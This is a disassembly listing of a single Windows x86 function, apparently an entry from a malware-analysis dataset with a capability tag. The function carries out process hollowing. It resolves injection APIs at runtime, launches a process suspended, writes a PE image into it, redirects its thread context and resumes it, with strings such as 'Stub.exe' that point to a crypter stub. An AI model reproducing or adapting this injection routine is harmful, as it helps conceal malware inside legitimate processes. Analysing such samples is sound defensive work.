Function at 0x404280
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x424dcd
mov eax, dword fs:[0]
push eax
sub esp, 0x4ac
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov edi, dword [0x433c20]
push str.kernel32.dll
mov dword [ebp - 0x49c], edi
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x494], 0
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x490], 0
mov dword [ebp - 0x4a0], 0
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x48c], 0
mov dword [ebp - 0x47c], 0
mov dword [ebp - 0x498], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x46c], eax
test eax, eax
je 0x4043e5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.WriteProcessMemory
push eax
call esi
push str.ReadProcessMemory
push dword [ebp - 0x46c]
mov dword [ebp - 0x474], eax
call esi
push str.CreateProcessA
push dword [ebp - 0x46c]
mov dword [ebp - 0x494], eax
call esi
push str.GetThreadContext
push dword [ebp - 0x46c]
mov dword [ebp - 0x488], eax
call esi
push str.SetThreadContext
push dword [ebp - 0x46c]
mov dword [ebp - 0x490], eax
call esi
push str.VirtualAllocEx
push dword [ebp - 0x46c]
mov dword [ebp - 0x4a0], eax
call esi
push str.VirtualAlloc
push str.kernel32.dll
mov dword [ebp - 0x470], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call esi
push str.ResumeThread
push dword [ebp - 0x46c]
mov dword [ebp - 0x48c], eax
call esi
push 0x42e8f0
push dword [ebp - 0x46c]
mov dword [ebp - 0x47c], eax
call esi
mov dword [ebp - 0x498], eax
mov esi, dword [edi + 0x3c]
lea eax, [ebp - 0x410]
push 0x400
push eax
add esi, edi
mov dword [ebp - 0x458], 0
push 0
mov dword [ebp - 0x478], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [esi], 0x4550
jne 0x404757
push 0x44
lea eax, [ebp - 0x454]
xorps xmm0, xmm0
push 0
push eax
movups xmmword [ebp - 0x468], xmm0
call fcn.004092e0
mov edx, dword [ebp + 0x18]
mov eax, 0x7fffffff
sub eax, edx
mov dword [ebp - 0x46c], edx
add esp, 0xc
cmp eax, 9
jb 0x4047a6
cmp dword [ebp + 0x1c], 0xf
lea eax, [ebp + 8]
lea ecx, [edx + 9]
mov esi, 0xf
cmova eax, dword [ebp + 8]
lea edi, [ebp - 0x4b8]
mov dword [ebp - 0x480], eax
xorps xmm0, xmm0
mov dword [ebp - 0x484], ecx
movups xmmword [ebp - 0x4b8], xmm0
cmp ecx, esi
jbe 0x40450f
mov esi, ecx
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x4044c9
mov ecx, 0x80000000
mov esi, 0x7fffffff
add ecx, 0x23
push ecx
call fcn.004073af
add esp, 4
test eax, eax
je 0x4047b0
mov ecx, dword [ebp - 0x484]
lea edi, [eax + 0x23]
mov edx, dword [ebp - 0x46c]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x404509
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
cmp eax, 0x1000
jb 0x4044ea
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x4047ab
jmp 0x4044a1
test eax, eax
je 0x404507
push eax
call fcn.004073af
mov ecx, dword [ebp - 0x484]
add esp, 4
mov edx, dword [ebp - 0x46c]
mov edi, eax
jmp 0x404509
xor edi, edi
mov dword [ebp - 0x4b8], edi
movq xmm0, qword [str.Stub.exe]
mov dword [ebp - 0x4a8], ecx
mov dword [ebp - 0x4a4], esi
movq qword [edi], xmm0
mov al, byte [0x42e904]
push edx
push dword [ebp - 0x480]
mov byte [edi + 8], al
lea eax, [edi + 9]
push eax
call fcn.00409440
mov eax, dword [ebp - 0x46c]
add esp, 0xc
mov byte [edi + eax + 9], 0
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0xf
jbe 0x404581
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404577
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4047b0
push ecx
push edx
call fcn.004073df
add esp, 8
movups xmm0, xmmword [ebp - 0x4b8]
push str._n_burada_1
movups xmmword [ebp + 8], xmm0
movq xmm0, qword [ebp - 0x4a8]
movq qword [ebp + 0x18], xmm0
call fcn.00402bd0
add esp, 4
lea ecx, [ebp - 0x468]
cmp dword [ebp + 0x1c], 0xf
lea eax, [ebp + 8]
cmova eax, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x454]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push eax
lea eax, [ebp - 0x410]
push eax
call dword [ebp - 0x488]
test eax, eax
je 0x404757
push 4
push 0x1000
push 4
push 0
call dword [ebp - 0x48c]
mov esi, eax
push esi
mov dword [ebp - 0x480], esi
mov dword [esi], 0x10007
push dword [ebp - 0x464]
call dword [ebp - 0x490]
test eax, eax
je 0x404757
push 0
push 4
lea eax, [ebp - 0x458]
push eax
mov eax, dword [esi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x468]
call dword [ebp - 0x494]
mov esi, dword [ebp - 0x478]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x468]
call dword [ebp - 0x470]
mov dword [ebp - 0x470], eax
test eax, eax
jne 0x40468a
push str._n_burada_2
call fcn.00402bd0
add esp, 4
push dword [ebp - 0x464]
call dword [ebp - 0x47c]
push 0
call dword [ebp - 0x498]
mov esi, 1
jmp 0x404759
push 0
push dword [esi + 0x54]
push dword [ebp - 0x49c]
push eax
push dword [ebp - 0x468]
call dword [ebp - 0x474]
xor eax, eax
xor edi, edi
cmp ax, word [esi + 6]
jae 0x4046fe
xor esi, esi
nop
mov edx, dword [ebp - 0x49c]
push 0
lea ecx, [edx + esi]
add ecx, dword [edx + 0x3c]
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, edx
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [ebp - 0x470]
push eax
push dword [ebp - 0x468]
call dword [ebp - 0x474]
mov eax, dword [ebp - 0x478]
lea esi, [esi + 0x28]
inc edi
movzx eax, word [eax + 6]
cmp edi, eax
jl 0x4046b0
mov esi, dword [ebp - 0x478]
mov edi, dword [ebp - 0x480]
lea eax, [esi + 0x34]
push 0
push 4
push eax
mov eax, dword [edi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x468]
call dword [ebp - 0x474]
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x470]
push edi
mov dword [edi + 0xb0], eax
push dword [ebp - 0x464]
call dword [ebp - 0x4a0]
push dword [ebp - 0x464]
call dword [ebp - 0x47c]
push str._n_burada_3
call fcn.00402bd0
add esp, 4
xor esi, esi
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0xf
jbe 0x404789
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40477f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4047b0
push ecx
push edx
call fcn.004073df
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040719f
mov esp, ebp
pop ebp
ret
call fcn.00402da0
call fcn.00402d00
call fcn.00410342
int3